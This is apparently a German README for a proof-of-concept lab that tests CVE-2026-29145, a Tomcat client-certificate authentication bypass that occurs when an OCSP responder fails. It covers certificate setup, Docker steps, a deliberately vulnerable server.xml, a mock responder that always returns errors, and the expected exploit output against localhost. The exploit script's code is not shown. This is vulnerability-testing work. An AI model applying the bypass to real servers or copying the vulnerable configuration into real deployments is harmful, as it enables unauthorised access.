CVE-2026-29145 Testumgebung

📌 Überblick

Dieses Repository enthält eine Proof-of-Concept-Umgebung (PoC), die zum Testen von CVE-2026-29145 entwickelt wurde.

Die Schwachstelle ist eine Authentifizierungsumgehung in Apache Tomcats Mutual-TLS-Implementierung (CLIENT_CERT). Wenn OCSP (Online Certificate Status Protocol) mit deaktiviertem Soft-Fail konfiguriert ist, kann Tomcat einen OCSP-Prüfungsfehler möglicherweise nicht als harte Ablehnung behandeln. Dies ermöglicht es einem Client mit einem potenziell widerrufenen oder nicht verifizierten Zertifikat, die Authentifizierung zu umgehen, wenn der OCSP-Responder nicht erreichbar ist oder einen Fehler zurückgibt.

🛡️ Schwachstellendetails

Eigenschaft	Wert
CVE-ID	CVE-2026-29145
CVSS-Score	9.1 (Kritisch) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Angriffsvektor	Netzwerk
Erforderliche Berechtigungen	Keine
Auswirkung	Authentifizierungsumgehung

Voraussetzungen für die Schwachstelle

• ✓ CLIENT_CERT-Authentifizierung in Tomcat aktiviert
• ✓ OCSP-Widerrufsprüfung aktiviert
• ✓ Soft-Fail-Option deaktiviert (Hard-Fail-Modus)
• ✓ Nicht erreichbarer oder fehlschlagender OCSP-Responder

---

🚀 Erste Schritte

Voraussetzungen

• Docker & Docker Compose: Zum Ausführen des verwundbaren Tomcat-Containers
• OpenSSL: Zum Generieren der PKI (Public Key Infrastructure) - normalerweise auf Linux/macOS vorinstalliert
• Python 3.7+: Zum Ausführen des Testskripts und des Mock-Responders
• curl (optional): Für manuelle Tests
• PowerShell (nur Windows): Bei Verwendung der .ps1-Skripte

1. Automatisierter vollständiger Testzyklus (empfohlen)

Das Skript run_test.sh automatisiert den gesamten Prozess: Bereinigung, Zertifikatsgenerierung und Ausführung aller Testszenarien (verwundbar, erfolgreich und gepatcht).

# Zum Projektverzeichnis navigieren
cd CVE-2026-29145-Tester

# Skripte ausführbar machen
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Python-Abhängigkeiten installieren (falls poc_exploit.py sie benötigt)
pip install -r requirements.txt

# Die vollständige Testsuite ausführen
./run_test.sh

2. Zertifikate generieren

Auf Linux/macOS:

./setup_certs.sh

Auf Windows (PowerShell):

.\setup_certs.ps1

Was dies bewirkt:

• Erstellt eine Root-CA (Certificate Authority)
• Generiert ein Serverzertifikat für Tomcat
• Generiert ein Clientzertifikat mit OCSP-Erweiterung, die auf http://localhost:8888 verweist
• Validiert, dass alle Zertifikate erfolgreich erstellt wurden

Erwartete Ausgabe:

[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!

3. Die verwundbare Umgebung starten

docker-compose up -d

Was dies bewirkt:

• Startet den OCSP-Mock-Responder auf Port 8888 (simuliert einen Fehler mit HTTP 500)
• Startet verwundbares Tomcat 10.1.52 auf Port 8443 mit CLIENT_CERT-Authentifizierung
• Erstellt ein internes Docker-Netzwerk für die Dienstkommunikation
• Richtet Health Checks für beide Dienste ein

Überprüfen, ob die Container laufen:

docker-compose ps

4. Den Exploitation-Test ausführen

python poc_exploit.py

Erwartete Ausgaben:

Verwundbares System:

[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...

Gepatchtes System:

[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).

---

🧪 Testszenarien

Szenario	OCSP-Status	Erwartet (gepatcht)	Ergebnis (verwundbar)	Hinweise
Normaler Betrieb	Online & gültig	200 OK ✓	200 OK ✓	OCSP-Prüfung erfolgreich, Zugriff gewährt
Soft-Fehler	Offline/Timeout	403 Forbidden ✓	200 OK ✗	UMGEHUNG - OCSP-Responder nicht erreichbar
Harte Widerrufung	Online & widerrufen	403 Forbidden ✓	403 Forbidden ✓	Zertifikat explizit widerrufen
Ungültiges Zertifikat	Ungültige Kette	403 Forbidden ✓	403 Forbidden ✓	Kettenvalidierung schlägt fehl

Verschiedene Testszenarien ausführen

Test 1: Standard (OCSP-Responder schlägt fehl)

# Container laufen lassen
python poc_exploit.py

Test 2: OCSP-Responder stoppen (Timeout simulieren)

docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Test 3: Manuelles Testen mit curl

curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

---

🛠️ Projektstruktur

CVE-2026-29145-Tester/
├── README.md                    # Diese Datei
├── setup_certs.sh              # Skript zur Zertifikatsgenerierung - Bash (Linux/macOS)
├── setup_certs.ps1             # Skript zur Zertifikatsgenerierung - PowerShell (Windows)
├── cleanup.sh                  # Bereinigungs- und Rücksetzskript - Bash (Linux/macOS)
├── cleanup.ps1                 # Bereinigungs- und Rücksetzskript - PowerShell (Windows)
├── run_test.sh                 # Skript für den automatisierten vollständigen Testzyklus
├── docker-compose.yml          # Docker-Dienstorchestrierung
├── requirements.txt            # Python-Abhängigkeiten
├── poc_exploit.py              # Haupttestskript (mit Protokollierung und Fehlerbehandlung)
├── simple_proxy_fail.py        # Mock-OCSP-Responder (mit detaillierter Protokollierung)
├── .gitignore                  # Git-Ignore-Regeln für Zertifikate und Protokolle
├── certs/                      # Generierte Zertifikate (erstellt durch setup_certs-Skripte)
│   ├── ca-chain.pem           # Root-CA-Zertifikat
│   ├── ca-key.pem             # Privater Schlüssel der Root-CA
│   ├── server-cert.pem        # Tomcat-Serverzertifikat
│   ├── server-key.pem         # Privater Schlüssel des Tomcat-Servers
│   ├── client-cert.pem        # Test-Clientzertifikat
│   └── client-key.pem         # Privater Schlüssel des Test-Clients
├── tomcat/
│   └── server.xml             # Verwundbare Tomcat-Konfiguration
└── logs/                       # Tomcat-Protokolle (zur Laufzeit erstellt)

---

📋 Konfigurationsdetails

Server.xml-Konfiguration (verwundbar)

Die Datei tomcat/server.xml konfiguriert:

<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Wichtige Einstellungen:

• certificateVerification="required" - Erzwingt die CLIENT_CERT-Authentifizierung
• OCSP on - Aktiviert die OCSP-Widerrufsprüfung
• Kein Soft-Fail-Override - Verwendet den Hard-Fail-Modus (verwundbar)

OCSP-Responder-Konfiguration

Der Mock-OCSP-Responder (simple_proxy_fail.py):

• Lauscht auf localhost:8888
• Gibt immer HTTP 500 (Serverfehler) zurück
• Protokolliert alle eingehenden OCSP-Anfragen
• Simuliert einen nicht erreichbaren/fehlschlagenden OCSP-Dienst

---

🔧 Fehlerbehebung

Häufige Probleme & Lösungen

❌ Fehler: „OpenSSL ist nicht installiert"

# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Fehler: „Zertifikatsdateien fehlen"

Ursache: Die Zertifikatsgenerierung ist fehlgeschlagen oder wurde nicht ausgeführt.

# Bereinigen und neu generieren
rm -rf certs
./setup_certs.sh